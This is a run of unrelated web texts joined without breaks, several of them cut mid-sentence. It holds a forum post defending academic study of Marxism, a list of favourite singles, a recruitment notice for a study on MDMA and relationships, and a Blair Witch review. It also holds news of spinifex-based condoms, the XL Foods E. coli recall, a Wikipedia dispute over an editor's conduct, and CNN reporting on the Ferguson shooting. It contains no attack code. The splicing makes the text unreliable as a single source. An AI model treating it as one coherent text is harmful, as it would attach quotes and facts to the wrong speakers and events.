saying that learning Marxism in university is better than learning it within the constraints of a cadre organization (hence my first point) only that, in lieu of being involved in such an organization there really is no other source of training. Unless one wants to pretend that their individual thoughts are superior to academic discipline, and that they are self-made geniuses who have never had to deal with the kind of critique and discipline that academia imposes, you really have to admit, outside of a party project with its own educational discipline, the only other place to become an expert in Marxist thoughtacademia. I spent 4 years in my undergraduate, two in my masters, and seven in my doctorate studying this shit and, while I count this less important than what I learned from actual revolutionaries without this training, I still know it's worth more than some twitter/reddit asshole who thinks they are a supernatural gift to theory simply because they read some things on their own time and thus imagine they can burst the "egos" of people who have more training and have spent exhaustive years in academic labour. Why is it that we defer to the authority of someone who has spentyears studying to become a Medical Doctor than someone whose doctoral degree concerns Marxism? If it is because we think an MD is more important than the study of Marxism then what are we saying about the science we espouse? The kind of ego you would have to possess to think you |
him sad? Because he did the math and realized he was more than two years older than the self-made billionaire with not much in the way of rags-to-riches anecdotes to show for it.
There’s a darkly comic quality to his book of regrets, though, as he chronicles his brief flirtation with the brass ring with the sort of self-effacing charm that made Ray Davies of the Kinks such a beloved underdog.
The Rentals' Matt Sharp (Photo: Brantley Gutierrez)
Consider the following lines: “But for a second, there’s no question, I had the lead in ’95 / I mismanaged my advantage / Like a rocket ship, he blasted by / to incredible heights.”
I suppose there’s a chance someone makes a more likeable record in 2017, and yet I doubt it.
The current lineup of the Rentals, by the way, includes Nick Zinner of the Yeah Yeah Yeahs and Flaming Lips/Mercury Rev producer Dave Fridmann, so that’s just two more reasons I’d much rather be Matt Sharp than Elon Musk.
7. G Herbo, "Malcolm"
This richly detailed portrait of growing up black and hopeless on the South Side of Chicago with "a pops he never knew" and a strung-out mom marks Herbo as a briliant storyteller. Stuck on probation, on and off since 13, young Malcolm gets deeper and deeper into crime as he gets older.
Herbo doesn't glorify the lifestyle choices. His story is gritty and bleak, underscored by a minimal slow-rolling beat by from producer DJ L that's suitably haunted.
"Sometimes he even pray to God and wish he die at night," Herbo raps. "He grown now, had to get it on his own and / He know nobody gon' be there when he alone and / So f--k it, he just gon' continue doing wrong."
The track hits even harder when he zooms out, in the final track, from Malcolm's life to illustrate a larger point about systemic forces guys like former Bears coach Mike Ditka, who famously claimed the other week that there's been no oppression in America in the last 100 years, are just too dense to understand.
"The saddest thing about life it keep revolving," he raps. "Same story, different n---as, same apartments / Same gutter, same group of people starving / Malcolm could've stayed in school and got a job though / But this was all that Malcolm knew, he from Chicago / Compare and contrast if Malcolm's from a rich town / His whole life was planned out since he was six pounds."
NEWSLETTERS Get the Things to do this weekend newsletter delivered to your inbox We're sorry, but something went wrong Best Things to do this weekend Please try again soon, or contact Customer Service at 1-800-332-6733. Delivery: Thurs Invalid email address Thank you! You're almost signed up for Things to do this weekend Keep an eye out for an email to confirm your newsletter registration. More newsletters
8. Tennis, “I Miss That Feeling”
Alaina Moore and Patrick Riley made my Albums of the Year (So Far) list in July with an effort called “Yours Conditionally.” And they’re already moving on, with an EP called “We Can Die Happy" on the way.
This track from that EP is essentially what you’d expect from the duo at this point – the sort of soulful soft-rock gem that would’ve sounded perfect coming out of Fleetwood Mac or Harry Nilsson in the ‘70s. Or for those who need a newer reference, following Tobias Jesso Jr. on somebody's Spotify playlist.
And when you're pining for the way things used to be, it doesn’t hurt to tap into a sound so firmly rooted in nostalgia, even if the singer isn’t old enough to have experienced what anyone would sound like coming out of Fleetwood Mac or Harry Nilsson in the '70s.
It also doesn't hurt that the chorus here would definitely make a shortlist of their most contagious moments.
9. Ben Anderson, “Lukewarm”
This local singer spends the chorus of his latest single channeling the silky-smooth falsetto of the great Al Green for all its worth as he soulfully pleads, “Put my hand in the fire ‘til I feel it through / Babe, I am lukewarm.”
And the production follows suit. It's on the understated, jazzy side of classic soul complete with horns and just enough Steve Cropper-worthy grit to the guitar lines.
The second single of a trilogy he calls “YouTopia,” this song is the prequel to “Clay Pigeon.”
In "Lukewarm," the singer explains, “You see the rise of the main character in the corporate world. He quickly discovers that his materialistic life has no substance. He begins to reject the system and fall into the depths of madness which is the beginning of ‘Clay Pigeon.’”
Outside the context of the trilogy, it’s a song about, as Anderson explains, “a longing for the things in life that really matter (relationships, experiences) when you’re wealthy in material luxuries. Nothing heats you up or cools you down anymore and thus you are lukewarm.”
10. The Darts, "Get Messy"
Look, if it was easy capturing the sound of people having this much fun in a recording studio, we'd all be swimming in new records as infectious as "Get Messy." But it isn't, so we're not, which would suggest that we would all do well to let our hair down and appreciate it while we can.
Or as Nicole Laurenne so memorably puts forth on the chorus hook, "Take a chance / Take a leap / Take a risk / You'll see / Everything's better messy."
A Farfisa-driven highlight of "Me.Ow," this track rocks with the reckless abandon you've probably come to expect from the Darts if you've seen them live or heard their previous recordings, with a great melodic bassline from Christina Nunez. And the video is every bit as wildly entertaining as the track itself, with the Darts as mermaids in a kiddie pool at a backyard party out of bounds where they get plenty messy with a birthday cake.
11. Billy Bragg, “Saffiyah Smiles”
The iconic folk singer is bringing his “Bridges Not Walls” Tour to Phoenix for a Crescent Ballroom show Wednesday, Oct. 11.
In the midst of that, he’s dropped this wistful, Hammond-B3-organ-driven country-soul song paying tribute to the courage of Saffiyah Khan, whose smiling face went viral earlier this year.
As Bragg explains it, “Following the shocking scenes of white supremacists marching through the streets of Charlottesville this past summer, my mind went back to an image of a young woman facing down a ranting fascist with nothing but a serene smile."
Khan, Bragg explains, had been taking part in a counter demonstration against the neo-fascist English Defence League in Birmingham, England, when she saw a woman wearing a hijab being surrounded by taunting EDL supporters.
"And when the police failed to act," Bragg says, "Saffiyah stepped up and got in the face of the loudest aggressor, holding him at bay with nothing more than a smile until police eventually intervened.”
Bragg goes on to say her “selfless act of solidarity is an inspiration to us all and a reminder that sometimes you can confront hatred by calmly making plain how ridiculous its propagators are.”
It's a brilliantly playful yet stinging performance by Bragg, who undercuts the menace of the white supremacists at every turn after setting the scene with “Angry white men dressed like Elmer Fudd / Shouting something about soil and blood / A woman of color steps out from the crowd / And does something to make us all proud.”
Best line? “Cosplay Nazis marching in file / Hitler’s haircut is back in style.”
12. Yaeji, "Drink I’m Sippin On"
The EDM producer raps in Korean and English while rocking a minimalist trap beat, her blasé and breathy half-spoken delivery recalling a young Debbie Harry of Blondie as she revels in the everyday ennui of life itself.
She told Pigeons & Planes "'Drink I'm Sippin On' is non-alcoholic though its effects are similar to getting drunk: knowingly being misunderstood by others, forgetting what I did yesterday, and feeling comfortable being me. I sip on it as a reminder that I can feel fine if I just let myself."
13. Quicksand, “Cosmonauts”
It’s been 22 years since these post-hardcore heroes have released an album. And given the sound of the first two tracks they’ve shared from “Interiors,” an effort due Nov. 10, I’d say it has the makings of a modern Quicksand classic.
This one doesn’t hit as hard as the first single out of the box, which was fueled by a muscular, headbanging beast of a riff.
But it’s darker and closer in spirit to ‘90s alternative-rock, its churning rhythms topped by hypnotic guitar arpeggios and a brooding lead vocal by guitarist Walter Schreifels, who desperately wants to arrive where you are, “in the light.” It sounds creepy and ominous but also also dreamy.
Schreifels says the making of “Interiors” “was all just about being ourselves and who we were as well as who we are."
14. Julien Baker, "Turn Out the Lights"
This haunting ballad is the title track to Baker's second album, which hits the streets this week and effortlessly lives up to the promise of her first release, "Sprained Ankle."
In the opening verse, accompanied only by the melancholy finger-picking of a lone guitar, she sets the scene with a sigh of "There's a hole in the drywall, still not fixed / I just haven't gotten around to it / And besides I'm starting to get used to the gaps."
It never really kicks in. It just gets a little louder, adding vocal harmonies on its way to the moment of truth: "When I turn out the lights, there's no one left between myself and me."
15. Slaughter Beach, Dog, "Acolyte"
It took a day or two to realize that the reason I immediately liked the sound of this is that it starts with a guitar lead that appears to have been based entirely on the vocal hook of Blur's "Sad Drunk and Poorly." And I doubt they meant to do that. People rarely do.
But that's not why I kept returning to this track. It's more the unassuming charm of the singer's delivery. That and the whistling solo, among the more contagious whistling solos of the decade.
And bonus points for this line: "Man, it cuts like a dull knife when you're young and you're told / "Makes sense when you're older" / Darling, let's get old.
16. Odesza feat. Leon Bridges, "Across the Room"
This deeply soulful, gospel-flavored electronica plus more organic elements arrives at that same sweet spot Moby worked to glorious effect on "Play." It emerged as one of Sunday's highlights when Odesza headlined the inaugural Lost Lake Festival, which you can read about in our countdown of the weekend's highlights here.
In an interview with Billboard, Clayton Knight said Bridges is someone they've wanted to work with quite a bit.
"We ended up writing that whole song basically," he said. "We re-recorded some of the elements back in Texas, but everything was basically written in that studio in that eight-hour period. When that happens, it's usually a good sign, because things are flowing easily and fast. You know they're there. It's a complete honor to work with him. He's honestly a genius."
You can definitely hear that sense of mutual admiration shining through in this collaboration.
17. A Perfect Circle, “The Doomed”
This is the first taste of A Perfect Circle’s first full-length release in 14 years. (There was a one-off single, “By and Down,” four years ago.) And if the other tracks on that forthcoming, still-untitled album live up to the promise of “The Doomed,” then it was definitely worth the wait for fans of Keenan’s dark, dramatic vision.
“Fourteen years have passed since we released eMOTIVe,” Keenan says. “A new release is long overdue. In light of this current difficult and polarized social, spiritual and political climate, we artist types need to open our big mouths and share the light a little louder.”
Billy Howerdel adds, “Years of life experience has brought our music to this moment. We know where we came from. Deeply connected to the path we’re on.”
It’s a heavy, at times cinematic, track that puts a timely, nihilistic spin on the biblical message of the Sermon on the Mount, setting the tone with “Behold a new Christ / Behold the same old horde.” As the verse continues, Keenan sings, New beginning, new word / And the word was death / And the word was without light / The new beatitude: ‘Good luck, you're on your own.’ ”
After blessing the slothful, the wrathful, the vain and the gluttonous, the tone shifts, the heavy, distorted guitars and pounding drums recede, I'm pretty sure I hear a glockenspiel and Keenan’s vocal takes on a more vulnerable hue as he asks, “What of the pious, the pure of heart, the peaceful? What of the meek, the mourning, and the merciful?”
Then he answers his own question with “All doomed.”
In addition to Keenan and Howerdel, the current lineup feature James Iha (Tinted Windows, ex-Smashing Pumpkins), Jeff Friedl (Puscifer, the Beta Machine) and Matt McJunkins (Eagles of Death Metal, the Beta Machine).
18. Faulkner, "Hot Streak"
I've seen them billed as "the new Killers." And I get that. A healthy percentage of the fans who flocked to see the Killers' set at Lost Lake Festival last Saturday will almost certainly respond to "Hot Streak," a keyboard-driven rocker with a yearning chorus hook of "I will stand by you" and a groove you would be foolish to deny.
When Just Jared premiered the track this week, it quoted the members of Faulkner as saying, “The inspiration behind ‘Hot Streak’ is that magic moment of feeling untouchable like Nicky Barnes. Where for an hour the whole world falls into your hands and everything you touch turns to gold.”
Having never heard of Nicky Barnes, I checked with Wikipedia, where I learned: "Leroy Nicholas 'Nicky' Barnes (born Oct. 15, 1933) is an American former crime boss, active in New York City during the 1970s."
That's old school.
19. Doll Skin, "Daughter"
This emotional ode to survival in the face of crushing disappointment is the second single from the local rockers' second album, "Manic Pixie Dream Girl." But for all the pain, it keeps returning to a life-affirming chorus of "No matter what, she keeps on breathing." And they've left it open to interpretation.
As drummer Meghan Herring explained to Alternative Press, "An interesting aspect of this song is that it has a different meaning to each of us. The video showcases one of the interpretations for it, which is a toxic relationship between parent and daughter. Many of our fans and peers will be able to relate to the lyrics, with the struggles of youth and growing up in today’s society."
Whatever your interpretation of the lyrics is, Sydney Dolezal's vocal delivery is enough to leave you winded. And Alex Snowden's finger-tapping guitar solo may not be as flashy as "Eruption" but Eddie Van Halen wouldadmire the melodic sensibilities behind it.
20. Injury Reserve, "Boom (X3)"
The third video from "Drive It Like It's Stolen" dropped Sept. 28 but I already had an Injury Reserve song on Best September Singles playlist and the 28th is practically October, right? So here it is.
This Parker Corey video is darker than the first two and it suits the darker, more aggressive vibe they're going for on this track, which opens with the chorus hook, Ritchie with a T shouting, "We be up all night, just murdering beats / And had the landlord knocking like a burglary / Like boom, boom, boom / They'll bump a n---a 'round the world, you see / And tell me which of you motherf--kers haven't heard of me."
Musically, the verses have a more reflective tone.
And anyone familiar with their local hip-hop history will have to wonder if Stepa J. Groggs is talking Phoenix when he raps, "Started making a name and now they're knockin' it / F--k the city up whenever we droppin' s--t / Created a sound, they started jockin' it / Don't put on for the scene, 'cause we not in it / I'm not tryna make a scene / But is it still a scene if it's not heard or seen?"
They talked at length about their time in Phoenix when we spoke before the album hit the streets in late September.
21. Noel Gallagher's High Flying Birds, "Holy Mountain"
The man was in Oasis, which explains a lot. But that's not why this single made the list. It's more to do with that falsetto vocal hook. And the way it grooves like T. Rex in a good way.
I swear he's quoting David Bowie's "Diamond Dogs" at one point and you'll know exactly what I mean if you're familiar with that song.
This is the first we've heard from Gallagher's "Who Built the Moon" and he issued a statement explaining what he and producer David Holmes were after on the track, which features organ by Paul Weller of the Jam.
(A moment of silence to appreciate the presence of Paul Weller of the Jam on Noel Gallagher's new single.)
“It was one of the first things David and I did on the first week of working together," Gallagher says. "I knew instantly that it was going to be the first single. There’s so much joy in it. Until the day I die, it will be one of my favorite pieces of music that I’ve ever written. It sounds great live. My kids love it, my friends’ kids all love it and I am sure ‘the kids’ will love it.”
22. Porches, "Country"
This haunting ballad seeps into your speakers and/or headphones on a note that makes me wonder if maybe their synth has a tea-kettle setting. Then, Aaron Maine sets the lyrical tone with "When the air hit my face and it smelled like the truth, I saw you in the lake," his vocals sounding sadder than the lyrics would suggest, especially when he hits the line about watching the water drip "from my mouth to yours."
So why does he sound so unspeakably sad? The lyrics invite you to fill in the blanks on your own. I'll keep my fairly dark interpretation to myself. But suffice it to say, it's a beautiful shade of melancholia, especially when Dev Hynes and Bryndon Cook join in on harmonies.
23. Thundercat feat. Michael McDonald and Kenny Loggins
I saw Michael McDonald recapture the magic of his guest appearance on this yacht-rocking highlight of Thundercat's "Drunk," one of the year's best albums. McDonald is joined on the track by fellow smooth-rock veteran Kenny Loggins, and Thundercat manages to make them sound absurdly relevant in this unexpected context.
More music
A guide to Phoenix's top fall concerts
Concerts of the week for Phoenix
Phoenix local music picks for October
Phoenix concert news
Read or Share this story: http://azc.cc/2wO0IpuMDMA: the love drug? A qualitative study
09 September 2016
We want to hear about the experiences of people who take MDMA (ecstasy) with their partner and how they feel this influences their relationship.
The study will involve keeping a diary for a week around the time you next take MDMA with your partner and an optional, informal interview (30-45 mins) over Skype afterwards.
There is no pre-judgement within the research that ecstasy is either harmful or helpful, we are only interested in what you have to say about it.
Keywords
Ethical approval
This study has been ethically approved by London Southbank University. All information will be remain completely confidential and you can withdraw from the study at any time.
About the researcher
The lead researcher is Katie Anderson, who is completing fully-funded PhD research at London Southbank University.It’s impossible to know when the next big thing is coming, but I always know it when I see it.
Since its inception in 2001, Bloody Disgusting has been a driving force of the hype behind of all of the game-changers, whether it be the rise of J-horror with Gore Verbinski’s The Ring, “torture” films like James Wan’s SAW, or found-footage with Oren Peli’s Paranormal Activity. Now, producers from all three (Roy Lee, Lionsgate, Steven Schneider, respectively) have aligned to resurrect The Blair Witch Project, Daniel Myrick and Eduardo Sánchez’s seminal horror film that introduced found-footage to the masses in 1999.
Our beloved genre has been in an endless funk, and there’s bizarre irony to the notion that a found-footage sequel to the film that gave birth to the subgenre is our savior. Talk about coming full circle.
Found-footage is basically a precursor to virtual reality, so it’s not all that surprising that you’ll see a resurgence in the next few years. But what many filmmakers will miss is that viewers will be embracing this approach not because of the first-person perspective, but because of the emotional experience.
This brings us to Blair Witch (shot under the pseudonym The Woods), Adam Wingard and Simon Barrett’s* assault on the senses that will leave many viewers shaken to the core.
Theatergoers will need not to have seen The Blair Witch Project or its sequel, Book of Shadows, to enjoy Blair Witch. Barrett keeps everything in canon while using the original film’s mythology against the viewer.
In Blair Witch, a new tape is discovered on the outskirts of the woods where Heather Donahue and her crew went missing years ago. It looks as if Heather is still alive, so her brother assembles a crew (with the aid of two locals) to document their search for her. After setting up camp, bizarre things begin to transpire, many of which also happened in the first film.
Here’s the thing about Blair Witch that’s a bit of a spoiler – this is your only warning – Wingard and Barrett are magicians using sleight of hand to distract the audience. It’s pretty clear that the duo know a lot of horror fans were disappointed or underwhelmed by The Blair Witch Project and its finale (no disrespect intended). This film pretends to be that, and while the audience believes more and more that they’re watching a quasi-remake of the original, Wingard and Barrett are preparing a third act twist that’s as intense as any horror film has ever been.
Blair Witch won’t affect seasoned horror fans (as much), but rest assured that it will destroy everyone else. This film will hurt people. It’s the emotional experience that transcends traditional narrative storytelling and ascends to a place of Nirvana. What I mean by this is that, whether they can verbalize it or not, moviegoers understand the basic structure to a story. So, while someone watching Blair Witch may think they know what’s going to happen next, they don’t. The film breaks the mold of traditional horror and pushes the boundaries to the absolute brink.
While the complete annihilation of the narrative will throw viewers for a loop, Wingard sucker-punches them with a flurry of the most intense and jarring sound design in the history of horror, which is going to leave many viewers rattled. The sound is simply one of the many well-designed “props” in this relentless funhouse of terror thats coup de grâce is the claustrophobic tunnel sequence that will have everyone squirming for the exits.
Some will laud it, others will loathe it, but make no mistake: Blair Witch is that game-changer horror fans desperately have been waiting for. It will usher in a new breed of genre films that are targeted at creating an emotional experience above all else. “Scary” is probably an understatement as this may just be the first film since The Exorcist that will leave younger audiences scarred for life.
*Full disclosure: Both V/H/S films were produced by Bloody Disgusting.
Please enable Javascript to watch this videoQueensland researchers make super-thin condoms using native spinifex grass
Posted
Australia's native spinifex grass can make latex strong enough to make hair-thin condoms without sacrificing any durability, according to researchers from the University of Queensland.
The university's Australian Institute for Bioengineering and Nanotechnology (AIBN) has developed a method of extracting nanocellulose from the grass, which can be used as an additive in latex production.
"We can make a stronger and thinner membrane that is supple and flexible, which is the holy grail for natural rubber," Professor Darren Martin said in a statement.
Cellulose is an important structural component of plant cells and has existing industrial uses in making cellophane plastic and rayon fibre as well as being the principal raw ingredient in paper.
Companies would be looking to market the thinnest, most satisfying prophylactic possible. Professor Darren Martin, UQ
Nanocellulose consists of long cellulose fibres with a thickness of only a few nanometres (billionths of a metre) and has been the focus of recent research for its extremely high strength, light weight, and a range of properties that make it suitable for medical dressings, cleaning up oil spills or constructing flexible electronic displays.
Latex reinforced with spinifex nanocellulose has been tested by inflating condoms made on a commercial dipping line in the United States.
"On average [we] got a performance increase of 20 per cent in pressure and 40 per cent in volume compared to the commercial latex control sample," Professor Martin said.
"With a little more refinement, we think we can engineer a latex condom that's about 30 per cent thinner, and will still pass all standards.
"With more process optimisation work, we will be able to make devices even thinner than this."
Professor Martin said the very first commercial dipping run achieved a thickness of 45 microns, "which is around the width of the hair on your head".
"Companies would be looking to market the thinnest, most satisfying prophylactic possible," he said.
Other uses for the spinifex-reinforced latex include surgical gloves that allow surgeons to have better feel while experiencing less hand fatigue, as well as improving the cost-effectiveness of any latex product, Professor Martin said.
"Because you would also use less latex, your material cost in production would potentially drop as well, making it even more attractive to manufacturers," he said.
Nanotechnology builds on traditional Indigenous knowledge
The team worked with the Indjalandji-Dhidhanu People, the traditional owners of the Camooweal region in north-west Queensland, and have signed an agreement to recognise local Aboriginal traditional owners' knowledge about the spinifex.
The agreement will also ensure the Dugalunji Aboriginal Corporation (DAC) will have ongoing equity and involvement in the commercialisation of this technology, the university said.
DAC managing director Colin Saltmere said the corporation hoped the technology could bring economic opportunities to the remote areas across Australia where spinifex thrives.
"It's high time we see an industry that Indigenous people are involved in," he said last year.
"The mining boom has stopped and it will eventually come back one day, but as every economist has been saying, we need to start looking at diversity."
Spinifex already has a long history with Indigenous communities, who used its resin as an effective adhesive for attracting spear heads to wooden shafts.
It is "a super tough plant and it has evolved to survive under incredibly hot conditions," Professor Martin said.
"The good news for us engineers is the plant retains water, it has a very open structure and you can break the thing apart very easily into these long nanofibres that have really tough properties and look to be really useful for a whole number of things," he said.
The nanocellulose is extracted from harvested spinifex using a combination of chemistry and high pressure, explained Dr Nasim Amiralian from AIBN.
"You would firstly hedge the grass, and then it would be chopped up and pulped with sodium hydroxide – and at that stage it just looks like paper pulp," she said.
"Then you hit it with mechanical energy to force it through a very small hole under high pressure to peel the nano-fibres apart from the pulp."
Once the fibres are suspended in water, they can be mixed with water-based rubber latex.
Other uses being explored by the AIBN include making completely natural carbon fibre, enabling stronger and lighter body panels for electric cars without using petroleum-based products.
Topics: science-and-technology, rural, qldHost Suzanne is back with new correspondent Karly in studio to discuss all things Crazy Ex-Girlfriend Episode 102: Josh's Girlfriend Is Really Cool?
We taste test some local bubble tea and ponder questions like:
Can Rebecca be any more awkward in a frozen foods aisle? Who in their right mind would call Paula, "Mrs. Butterworth?" Is smelling like roasted corn a good thing or a bad thing? What is one's strategy for going bra-less in public after midnight?
Plus, we award our Giant Pretzels of the week and give our self-care recommendations for staying healthy and decidedly un-Bunch-like.
SONGS:
I'm So Good At Yoga (written by Rachel Bloom, produced by Steven M. Gold and Adam Schlesinger, performed by Gabrielle Ruiz)
Feeling Kinda Naughty (written by Rachel Bloom, produced by Steven M. Gold and Adam Schlesinger, performed by Rachel Bloom)CTVNews.ca Staff
XL Foods announced Sunday that it has issued recall notices to 800 employees at its Brooks, Alta. plant so that a review by the federal food inspection agency can resume.
The company said in a statement that the recall is, “key to XL Foods efforts to satisfy the conditions of the temporary license to demonstrate the implementation of enhanced protocols.”
The development seems to have broken an impasse between XL Foods and the Canadian Food Inspection Agency, which both released pointed statements about the embattled facility this weekend.
XL Foods announced Saturday that it would temporarily lay off 2,000 workers at the plant, which is at the heart of an E. coli scare and the largest beef recall in Canadian history.
The CFIA issued a statement the same day, saying the layoffs meant its inspectors could not continue an examination of the meat processing plant.
“At this time, we are unable to complete our assessment,” the statement read.
The plant had its licence suspended on Sept. 27, following the discovery of E. coli. To date, more than 1,800 meat products linked to the plant have been recalled. At least 15 E. coli illnesses across Canada have been linked to products from the plant.
The CFIA said XL Foods must demonstrate that it can produce food safely before production returns to normal at the plant.
On Friday and Saturday, CFIA inspectors were at the plant to observe the cutting of carcasses that had tested negative for E. coli. But according to the agency, XL Foods decided to halt operations after only half the carcasses were cut. “We are ready to continue our assessment as soon as the company resumes activities,” the CFIA said Saturday.
In the same statement, the CFIA said it had determined that all areas of the XL Foods plant had been cleaned and sanitized. The agency also said that XL’s food safety plans were “acceptable” and that all maintenance and sanitation issues had been addressed.
XL Foods blamed the food inspection agency for its decision to lay off employees, saying the move was necessary because the CFIA cannot indicate when the plant will get its licence back.
“It is this uncertainty that has forced the temporary layoffs. We look forward to actively working with the CFIA to bring this to a viable and timely resolution to allow the plant to recommence operations,” XL Foods said in its Saturday statement.
On Thursday, the CFIA allowed the company to resume limited production.
The company received permission to process 5,100 carcasses that had tested negative for E. coli strain 0157:H7. The processed meat was put under “detention,” meaning it cannot leave the plant until the CFIA is assured that the facility can effectively manage E. coli risks.
The CFIA announced Saturday that some of that meat would be destroyed.
“Beginning Monday, we have authorized the controlled movement of some meat products currently under detention from the plant to rendering, a high-temperature disposal method,” the agency said.
None of the processed meat will “enter the food system,” according to the CFIA.
On Sunday morning, Doug O’Halloran, who represents workers at the plant, said the way the facility’s Canadian owner Nilsson Brothers Inc. has handled the E. coli scare has put a “black eye” on Canada’s beef industry.
“It’s not just the workers and the plant. It’s not the people of Brooks who are going to be hurting as well. It’s the ranchers, it’s the farmers. It’s going to take a while to get the public back on side,” O’Halloran told CTV’s Question Period in an interview from Calgary.
Alberta’s Agriculture Minister Verlyn Olson hailed XL’s decision to resume operations for the benefit of the inspection.
“It sounds like we’re back on the rails in terms of the action being taken that will ultimately lead to the recertification of the plant,” he said.
Meanwhile, United Food and Commercial Workers Local 401 is calling for a public inquiry into the E. coli outbreak to determine what went wrong at the plant.From Wikipedia, the free encyclopedia
User:DylanMcKaneWiki and the Celtic Phoenix article [ edit ]
Celtic Tiger Celtic Phoenix article—if we assume good faith, it's a split, but it leans into the realm of a POV fork to prevent only the good side of the recovery. That article has been tagged for a prospective merge into the article on Ireland's economy for a few days. DylanMcKaneWiki joined Wikipedia about a month ago and immediately started moving articles around. There were a number of issues with cut-and-paste moves and non-standard titles. Things generally settled down. Then he started thearticle—if we assume good faith, it's a split, but it leans into the realm of a POV fork to prevent only the good side of the recovery. That article has been tagged for a prospective merge into the article on Ireland's economy for a few days.
For the past few days, he has shown a pattern of editing while logged out, primarily with the IP listed above. If you look at the edit times over the past 24–48 hours, it's almost a clean handoff every time one or the other starts editing.
Today, he declared that he was giving in and allowing the merge to go ahead. [1] So, the logged-in Dylan proceeded to merge the article. The IP then unwound the merge, and Dylan logged back in to proclaim he'd changed his mind. [2]
C.Fred (, amended 15:12, 27 May 2015 (UTC) Frankly, that was a bridge too far: the number of articles and templates he's edited in the last few hours will be daunting to correct for all of his edits. While I'd like to assume good faith that he just keeps getting logged out, it's starting to look like there's some intent to disrupt the encyclopedia with his edits—almost to the point of intentionally logging out to avoid scrutiny. Maybe I'm reading too much in, but at the least, he needs some good guidance on how to work constructively with other editors. — talk ) 19:48, 24 May 2015 (UTC)
Guliolopez has tried to engage with him, offering tips and advice. I admit to being snarky with him, but have also latterly offered advice, pointed out some of the problems with his editing, etc. Dylan rarely engages (only interaction with his talk page has been to blank it), and when he does it's to talk about us leaving "his" article alone diff. The cut-and-paste page moves have been problematic, the ownership is an obvious issue, as is logging out to perform edits/avoid his earlier block. A more serious problem is the complete ignoring of WP:NPOV. Bastun Ėġáḍβáś₮ŭŃ! 20:02, 24 May 2015 (UTC) When I looked at his talk page before he deleted most of the content, I see a string of warnings for the past three weeks, asking and even pleading with him not to do moves which mess up the edit history of the page. It seems like this has happened on multiple occasions. Have you seen any improvement, C.Fred? Liz Read! Talk! 21:13, 24 May 2015 (UTC) I wouldn't so much say he improved through the first part of May as his editing just quieted down and there were fewer problems. He went away from the economics articles and focused on shopping centres. —C.Fred (talk) 21:51, 24 May 2015 (UTC) Agreed, there was no improvements just because he lowered his amount of disruption. I feel a long-term block is required as it is more and more evident from the several warnings he recieved that he has no intention to learn from mistakes and cooperate with others.TheGracefulSlick (talk) 22:03, 24 May 2015 (UTC)
Yes, it's (mainly) about the Celtic Phoenix article, but DylanMcKaneWiki has edited Celtic Tiger, too, albeit when logged out - see this diff from 15th May is an insertion that adds in a 'See main article: Celtic Phoenix' template, for example, and there are more. The "109.7*.*.*" addresses that edited Celtic Tiger are the ones also disruptively editing Celtic Phoenix. WP:DUCK. Bastun Ėġáḍβáś₮ŭŃ! 19:47, 25 May 2015 (UTC)
Thanks for that. Bastun Ėġáḍβáś₮ŭŃ! 12:12, 27 May 2015 (UTC)
Yes, my bad. I had been trying to see what existed on ga.wikipedia; there is an article |
Desuirea Harris, the grandmother of Michael Brown, during a news conference in Jennings, Missouri, on August 11, 2014. Hide Caption 73 of 76 Photos: Photos: Emotions run high in Ferguson Police officers arrest a man who refused to leave when police cleared streets in Ferguson on August 11, 2014. Hide Caption 74 of 76 Photos: Photos: Emotions run high in Ferguson A burned-out QuikTrip gas station smolders on August 11, 2014 after protesters looted and burned the Ferguson building the night before. Hide Caption 75 of 76 Photos: Photos: Emotions run high in Ferguson Police officers and protesters confront each other on Saturday, August 9, the same day Michael Brown was shot and killed. Hide Caption 76 of 76
The flurry of details Friday added intrigue and, in some ways, anger to a case that's spurred protests in the St. Louis suburb and beyond among those upset by Brown's shooting and what they decry as a heavy-handed police response afterward.
Brown's family wasn't told ahead of time anything about the robbery or store surveillance video, family lawyer Benjamin Crump told CNN's Jake Tapper. Regardless, whatever happened there doesn't matter, said Eric Davis, a cousin of Brown's mother.
"It's a diversion, and it's an attempt to smear Michael's character," said Davis, who added the family has "not been happy" with the Ferguson police department's handling of the case. "... It (should be) more about what happened on Canfield Drive, where Michael was executed."
The man heading security in Ferguson amid the unrest -- Missouri State Highway Patrol Capt. Ron Johnson -- stated the robbery and shooting of Brown "are separate issues."
"I told (Chief Jackson) I think both of those being released today was not needed and was not the way that we needed to go," he told CNN on Friday evening. "Today is about taking care of this incident here, getting to those facts that are there, and Michael Brown and his family."
Hours earlier, in video captured by CNN affiliate KSDK, Johnson emphasized authorities have an obligation to be upfront, not to say "some things and now everybody says, 'what does that mean?'"
"I think if we're going to give answers, we need to not give hints," Johnson said. "We need to say it."
Chief: Police officer involved in shooting 'a gentleman'
Police identified the officer who shot Michael Brown as 28-year-old Darren Wilson -- a six-year police veteran, including four years with the Ferguson force. Authorities had refused to name him, citing threats to his safety.
The fact they have now done so satisfies a major demand of protesters. But many remain perturbed that additional details have not come out about Brown's shooting.
What the police chief did do on Friday was express "every confidence" in Wilson, who had one side of his face swollen in his encounter with Brown, according to authorities.
"He (is) a gentleman... a quiet officer," Jackson said. The entire situation is "devastating, it's absolutely devastating" to Wilson.
Much more information was provided about the reported convenience store robbery.
JUST WATCHED Police name cop who shot Michael Brown Replay More Videos... MUST WATCH Police name cop who shot Michael Brown 02:51
JUST WATCHED Are these Michael Brown's final moments? Replay More Videos... MUST WATCH Are these Michael Brown's final moments? 02:26
That includes the surveillance video, which shows a large African-American man pushing aside a smaller man who seemingly tries to stop him, then leaving the store. Crump said the larger man "appears to be" Michael Brown.
Newly released police documents claim the teenager roughly handled a clerk trying to stop him before walking out of the store with the box of Swisher Sweets.
The cost for the box of cigars, according to the documents: $48.99.
Jackson, the Ferguson police chief, told CNN that Wilson confronted Brown for being in the road, not the robbery.
"I guess that is when he might have seen... evidence and connected it" to the robbery, Jackson said -- without explicitly tying the two incidents together himself.
Relative: Actions 'fueled the distrust' toward police
A key complaint of protesters has been -- while police have said the shooting occurred during a struggle for the officer's gun -- witnesses say the officer shot Brown as the teenager stood with his hands in the air.
Tiffany Mitchell, who saw what happened, told CNN that "it looked as if Michael was pushing off and the cop was trying to pull him in." Instead, a shot went off, the teen broke free, and the officer got out of the vehicle and ran about 20 feet in pursuit, she and co-worker Piaget Crenshaw said.
Another man, Dorian Johnson, said he was with Brown at the time of the shooting and that police shot Brown without provocation.
"We wasn't committing any crime, bringing no harm to nobody, but my friend was murdered in cold blood," he told CNN affiliate KMOV
Jackson confirmed to reporters Friday that Johnson, at least, "did not commit a crime and was not complicit in a crime."
The information released Friday seems unlikely to quell the anger in the eastern Missouri city or elsewhere. Eric Davis, speaking for Brown's family, expects the opposite will be the case -- even as he stressed that any protests must remain peaceful.
